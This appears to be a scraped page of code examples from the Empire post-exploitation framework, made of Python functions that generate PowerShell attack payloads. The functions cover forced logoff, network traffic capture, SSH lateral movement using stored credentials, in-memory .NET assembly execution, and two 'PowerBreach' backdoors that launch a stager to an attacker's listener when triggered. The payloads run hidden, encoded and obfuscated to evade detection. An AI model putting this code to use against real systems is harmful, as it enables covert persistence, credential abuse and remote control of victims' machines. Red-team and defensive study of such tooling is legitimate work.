                    "directories", {})["obfuscated_module_source"]
                module_path = os.path.join(obfuscated_module_source,
                                           module_name)
                # If pre-obfuscated module exists then return code
                if os.path.exists(module_path):
                    with open(module_path, "r") as f:
                        obfuscated_module_code = f.read()
                    return obfuscated_module_code, None

                # If pre-obfuscated module does not exist then generate obfuscated code and return it
                else:
                    module_source = empire_config.yaml.get("directories",
                                                           {})["module_source"]
                    module_path = os.path.join(module_source, module_name)
                    with open(module_path, "r") as f:
                        module_code = f.read()
                    obfuscated_module_code = data_util.obfuscate(
                        installPath=self.main_menu.installPath,
                        psScript=module_code,
                        obfuscationCommand=obfuscate_command,
                    )
                    return obfuscated_module_code, None

            # Use regular/unobfuscated code
            else:
                module_source = empire_config.yaml.get("directories",
                                                       {})["module_source"]
                module_path = os.path.join(module_source, module_name)
                with open(module_path, "r") as f:
                    module_code = f.read()
                return module_code, None
        except:
            return None, f"[!] Could not read module source path at: {module_source}"
Exemplo n.º 22
0
 def finalize_module(
     self,
     script: str,
     script_end: str,
     obfuscate: bool = False,
     obfuscation_command: str = "",
 ) -> str:
     """
     Combine script and script end with obfuscation if needed.
     """
     if obfuscate:
         script_end = data_util.obfuscate(
             self.main_menu.installPath,
             psScript=script_end,
             obfuscationCommand=obfuscation_command,
         )
     script += script_end
     script = data_util.keyword_obfuscation(script)
     return script
Exemplo n.º 23
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        all_users = params['AllUsers']

        if all_users.lower() == "true":
            script = "'Logging off all users.'; Start-Sleep -s 3; $null = (gwmi win32_operatingsystem).Win32Shutdown(4)"
        else:
            script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f"

        if main_menu.obfuscate:
            script = data_util.obfuscate(
                main_menu.installPath,
                psScript=script,
                obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 24
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        
        script_path = params['ScriptPath']
        script_cmd = params['ScriptCmd']
        script = ''

        if script_path != '':
            try:
                f = open(script_path, 'r')
            except:
                return handle_error_message("[!] Could not read script source path at: " + str(script_path))

            script = f.read()
            f.close()
            script += '\n'

        script += "%s" % script_cmd

        if main_menu.obfuscate:
            script = data_util.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        max_size = params['MaxSize']
        trace_file = params['TraceFile']
        persistent = params['Persistent']
        stop_trace = params['StopTrace']

        if stop_trace.lower() == "true":
            script = "netsh trace stop"

        else:
            script = "netsh trace start capture=yes traceFile=%s" %(trace_file)

            if max_size != "":
                script += " maxSize=%s" %(max_size)

            if persistent != "":
                script += " persistent=yes"

        # Get the random function name generated at install and patch the stager with the proper function name
        if main_menu.obfuscate:
            script = data_util.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):

        module_source = main_menu.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = "\nInvoke-SSHCommand "

        # if a credential ID is specified, try to parse
        cred_id = params["CredID"]
        if cred_id != "":

            if not main_menu.credentials.is_credential_valid(cred_id):
                return handle_error_message("[!] CredID is invalid!")

            cred: Credential = main_menu.credentials.get_credentials(cred_id)

            if cred.username != "":
                params["Username"] = str(cred.username)
            if cred.password != "":
                params["Password"] = str(cred.password)

        if params["Username"] == "":
            return handle_error_message(
                "[!] Either 'CredId' or Username/Password must be specified.")
        if params["Password"] == "":
            return handle_error_message(
                "[!] Either 'CredId' or Username/Password must be specified.")

        for option, values in params.items():
            if option.lower() != "agent" and option.lower() != "credid":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script_end += " -" + str(option)
                    else:
                        script_end += " -" + str(option) + " " + str(values)

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):

        # Helper function for arguments
        def parse_assembly_args(args):
            stringlist = []
            stringbuilder = ""
            inside_quotes = False

            if not args:
                return '""'
            for ch in args:
                if ch == " " and not inside_quotes:
                    stringlist.append(stringbuilder) # Add finished string to the list
                    stringbuilder = "" # Reset the string
                elif ch == '"':
                    inside_quotes = not inside_quotes
                else: # Ch is a normal character
                    stringbuilder += ch # Add next ch to string

            # Finally...
            stringlist.append(stringbuilder)
            for arg in stringlist:
                if arg == "":
                    stringlist.remove(arg)

            argument_string = '","'.join(stringlist)
            # Replace backslashes with a literal backslash so an operator can type a file path like C:\windows\system32 instead of C:\\windows\\system32
            argument_string = argument_string.replace("\\", "\\\\")
            return f'\"{argument_string}\"'


        module_source = main_menu.installPath + "/data/module_source/code_execution/Invoke-Assembly.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code, obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        try:
            with open(f"{main_menu.installPath}/downloads/{params['File']}", 'rb') as f:
                assembly_data = f.read()
        except:
            return handle_error_message("[!] Could not read .NET assembly path at: " + str(params['Arguments']))

        encode_assembly = helpers.encode_base64(assembly_data).decode('UTF-8')

        # Do some parsing on the operator's arguments so it can be formatted for Powershell
        if params['Arguments'] != '':
            assembly_args = parse_assembly_args(params['Arguments'])

        script_end = f'\nInvoke-Assembly -ASMdata "{encode_assembly}"'
        # Add any arguments to the end execution of the script
        if params['Arguments'] != '':
            script_end += " -" + "Arguments" + " " + assembly_args

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 28
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):

        script = """
function Invoke-EventLogBackdoor
{
    Param(
    [Parameter(Mandatory=$False,Position=1)]    
    [string]$Trigger="HACKER", 
    [Parameter(Mandatory=$False,Position=2)]
    [int]$Timeout=0,
    [Parameter(Mandatory=$False,Position=3)]
    [int]$Sleep=30
    )
    $running=$True
    $match =""
    $starttime = Get-Date
    while($running)
    {
        if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout)))
        {
            $running=$False
        }
        $d = Get-Date
        $NewEvents = Get-WinEvent -FilterHashtable @{logname='Security'; StartTime=$d.AddSeconds(-$Sleep)} -ErrorAction SilentlyContinue | fl Message | Out-String
        
        if($NewEvents -match $Trigger)
        {
            REPLACE_LAUNCHER
            $running=$False
        }
        else
        {
            Start-Sleep -s $Sleep
        }
    }
}
Invoke-EventLogBackdoor"""

        listener_name = params['Listener']

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message("[!] Invalid listener: " + listener_name)

        else:
            # set the listener value for the launcher
            stager = main_menu.stagers.stagers["multi/launcher"]
            stager.options['Listener'] = listener_name
            stager.options['Base64'] = "False"

            # and generate the code
            stager_code = stager.generate()

            if stager_code == "":
                return handle_error_message('[!] Error in launcher generation.')
            else:
                script = script.replace("REPLACE_LAUNCHER", stager_code)

        for option, values in params.items():
            if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script += " -" + str(option)
                    else:
                        script += " -" + str(option) + " " + str(values) 

        outFile = params['OutFile']
        if outFile != '':
            # make the base directory if it doesn't exist
            if not os.path.exists(os.path.dirname(outFile)) and os.path.dirname(outFile) != '':
                os.makedirs(os.path.dirname(outFile))

            f = open(outFile, 'w')
            f.write(script)
            f.close()

            return handle_error_message("[+] PowerBreach deaduser backdoor written to " + outFile)

        script = data_util.keyword_obfuscation(script)
        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command)

        # transform the backdoor into something launched by powershell.exe
        # so it survives the agent exiting  
        modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
        launcher = helpers.powershell_launcher(script, modifiable_launcher)
        stager_code = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
        parts = stager_code.split(" ")

        # set up the start-process command so no new windows appears
        script = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % (parts[0], " ".join(parts[1:]))

        if main_menu.obfuscate:
            script = data_util.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 29
0
    def _generate_script_powershell(self, module: PydanticModule, params: Dict, obfuscate=False, obfuscate_command='') \
            -> Tuple[Optional[str], Optional[str]]:
        module_source = module.script_path
        preobfuscated = False
        if module_source:
            # Get preobfuscated module code
            if obfuscate:
                obfuscated_module_source = module_source.replace(
                    "module_source", "obfuscated_module_source")
                if pathlib.Path(obfuscated_module_source).is_file():
                    preobfuscated = True
                    module_source = obfuscated_module_source

            # read obfuscated or unobfuscated scripts
            try:
                with open(module_source, 'r') as f:
                    module_code = f.read()
            except:
                return None, f"Could not read module source path at: {module_source}"

            # obfuscate script if global obfuscation is on and preobfuscated script doesnt exist
            if obfuscate and not preobfuscated:
                script = data_util.obfuscate(
                    installPath=self.main_menu.installPath,
                    psScript=module_code,
                    obfuscationCommand=obfuscate_command)
            else:
                script = module_code

        # Check if global obfuscation is on and obfuscate powershell code from yamls
        else:
            if obfuscate:
                script = data_util.obfuscate(
                    installPath=self.main_menu.installPath,
                    psScript=module.script,
                    obfuscationCommand=obfuscate_command)
            else:
                script = module.script

        script_end = f" {module.script_end} "
        option_strings = []
        # This is where the code goes for all the modules that do not have a custom generate function.
        for key, value in params.items():
            if key.lower() not in ["agent", "computername", "outputfunction"]:
                if value and value != '':
                    if value.lower() == "true":
                        # if we're just adding a switch
                        # wannabe mustache templating.
                        # If we want to get more advanced, we can import a library for it.
                        this_option = module.advanced.option_format_string_boolean \
                            .replace('{{ KEY }}', str(key)) \
                            .replace('{{KEY}}', str(key))
                        option_strings.append(f'{this_option}')
                    else:
                        this_option = module.advanced.option_format_string \
                            .replace('{{ KEY }}', str(key)) \
                            .replace('{{KEY}}', str(key)) \
                            .replace('{{ VALUE }}', str(value)) \
                            .replace('{{VALUE}}', str(value))
                        option_strings.append(f'{this_option}')

        script_end = script_end \
            .replace('{{ PARAMS }}', ' '.join(option_strings)) \
            .replace('{{PARAMS}}', ' '.join(option_strings)) \
            .replace('{{ OUTPUT_FUNCTION }}', params.get('OutputFunction', 'Out-String')) \
            .replace('{{OUTPUT_FUNCTION}}', params.get('OutputFunction', 'Out-String'))

        # obfuscate the invoke command and append to script
        if obfuscate:
            script_end = data_util.obfuscate(
                self.main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=obfuscate_command)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script, None
Exemplo n.º 30
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):

        script = """
function Invoke-DeadUserBackdoor
{
    Param(  
    [Parameter(Mandatory=$False,Position=1)]
    [int]$Timeout=0,
    [Parameter(Mandatory=$False,Position=2)]
    [int] $Sleep=30,
    [Parameter(Mandatory=$True,Position=3)]
    [string] $Username,
    [Parameter(Mandatory=$False,Position=4)]
    [switch] $Domain
    )
    
    $running=$True
    $match =""
    $starttime = Get-Date
    while($running)
    {
        if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout)))
        {
            $running=$False
        }        
        if($Domain)
        {
            $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))"
            $UserSearcher.PageSize = 1000
            $count = @($UserSearcher.FindAll()).Count
            if($count -eq 0)
            {
                Write-Verbose "Domain user $Username not found!"
                $match=$True
            }
        }
        else
        {
            $comp = $env:computername
            [ADSI]$server="WinNT://$comp"
            $usercheck = $server.children | where{$_.schemaclassname -eq "user" -and $_.name -eq $Username}
            if(-not $usercheck)
            {
                $match=$True
            }
        }
        if($match)
        {
            REPLACE_LAUNCHER
            $running=$False
        }
        else
        {
            Start-Sleep -s $Sleep
        }
    }   
}
Invoke-DeadUserBackdoor"""

        listener_name = params['Listener']

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message("[!] Invalid listener: " + listener_name)

        else:
            # set the listener value for the launcher
            stager = main_menu.stagers.stagers["multi/launcher"]
            stager.options['Listener'] = listener_name
            stager.options['Base64'] = "False"

            # and generate the code
            stager_code = stager.generate()

            if stager_code == "":
                return handle_error_message('[!] Error creating stager')
            else:
                script = script.replace("REPLACE_LAUNCHER", stager_code)

        for option, values in params.items():
            if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script += " -" + str(option)
                    else:
                        script += " -" + str(option) + " " + str(values) 

        out_file = params['OutFile']
        if out_file != '':
            # make the base directory if it doesn't exist
            if not os.path.exists(os.path.dirname(out_file)) and os.path.dirname(out_file) != '':
                os.makedirs(os.path.dirname(out_file))

            f = open(out_file, 'w')
            f.write(script)
            f.close()

            return handle_error_message("[+] PowerBreach deaduser backdoor written to " + out_file)

        script = data_util.keyword_obfuscation(script)
        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command)

        # transform the backdoor into something launched by powershell.exe
        # so it survives the agent exiting  
        modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
        launcher = helpers.powershell_launcher(script, modifiable_launcher)
        stager_code = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
        parts = stager_code.split(" ")

        # set up the start-process command so no new windows appears
        script = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-DeadUserBackdoor started'" % (parts[0], " ".join(parts[1:]))

        if main_menu.obfuscate:
            script = data_util.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script